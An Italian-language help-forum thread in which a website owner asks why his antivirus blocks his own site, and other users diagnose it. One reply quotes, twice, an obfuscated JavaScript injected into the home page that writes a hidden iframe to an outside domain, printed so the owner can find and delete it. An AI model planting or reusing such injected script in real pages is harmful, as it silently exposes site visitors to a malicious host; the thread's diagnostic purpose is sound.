Virus nel proprio sito: aiuto!

[Gianni_80]

Buonasera a tutti; sono nuovo del forum, mi sono appena iscritto...
Ho un problema e spero davvero che qualcuno possa e riesca ad aiutarmi!
Ho come antivirus Kaspersky 2012 e quando devo entrare nel mio sito internet (xxxxxxxx) mi dice che c'è un virus, per l'esattezza un trojan, e mi nega l'accesso.
Ho provato a fare la scansione del database, ma non c'erano virus e l'ho caricato tramite filezilla, ma niente: l'antivirus mi blocca ancora!
Spero che qualcuno riesca a darmi una mano!

Ringrazio in anticipo.
Buona serata,
Gianni

[menatwork]

ciao Gianni_80

iniziamo con un controllo di routine


scarica hijackthis e mettilo nella directory C dove avrai preparato una cartella con il suo nome.
Lanci l'eseguibile e clicchi su " do a system scan and save a log" alla fine salvi questo file con estensione *.TXT e lo alleghi ad un post sul forum.

[Gianni_80]

Grazie per l'aiuto menatwork!
Io non sono praticissimo, però ho provato a fare come mi dici tu e spero che funzioni...
Ho provato ad allegarti il file, ma il forum non accetta come formato TXT: come posso fare?
Volevo chiderti, poi, se questo programma che mi hai suggerito non vada a cozzare con l'antivirus che ho.

Grazie ancora

[menatwork]

hijackthis e' un programma di lettura e non interferisce con l'antivirus

prova a caricarlo qui -> http://www.wikifortio.com/

[Gianni_80]

L'ho caricato, o almeno credo!
Lo vedi?

[menatwork]

Gianni_80 dopo averlo caricato devi copiare il link e incollarlo nel forim

[Gianni_80]

Scusami!!

hijackthis.TXT

[Habanero]

Nel tuo sito C'E' un virus... è quello che devi eliminare... il problema non è nel tuo computer (anche se forse qualche toolbar da eliminare sul tuo pc comunque c'è, ma non è responsabile del problema).

Nella home, riga 144... c'è un javascript criptato che inserisce nel tuo sito un iframe che punta a http://abc-g.com

Questo è lo script che devi eliminare:

<script>var a='';var b='e%/mt2t2o2CEirt-2%h2r%%a30hb232D0e2ffcpg02e2a33m%2/%h2%%r0/ mDAod%h2b233Cstc%D0%fr2rr%%.w2i5mDEea33ci6g%e%%%%22a2%%32d%i';var c='9261378504';for(var i=0;i<12;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*12)+i);document.writeln(unescape(a));</script><script>var a='';var b='e%/mt2t2o2CEirt-2%h2r%%a30hb232D0e2ffcpg02e2a33m%2/%h2%%r0/ mDAod%h2b233Cstc%D0%fr2rr%%.w2i5mDEea33ci6g%e%%%%22a2%%32d%i';var c='9261378504';for(var i=0;i<12;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*12)+i);document.writeln(unescape(a));</script>

Verifica anche le altre pagine e soprattutto indaga sul come l'iniezione dello script sia stata possibile.

[Gianni_80]

Pensi che possano essere i banner pubblicitari ad aver creato il problema?

Grazie, davvero!

[Habanero]

In genere è possibile, ma in questo caso sembra che sia proprio la pagina ad essere stata modificata... Dubito sia stato un banner. Confronta il codice prelevato via FTP con quello originale....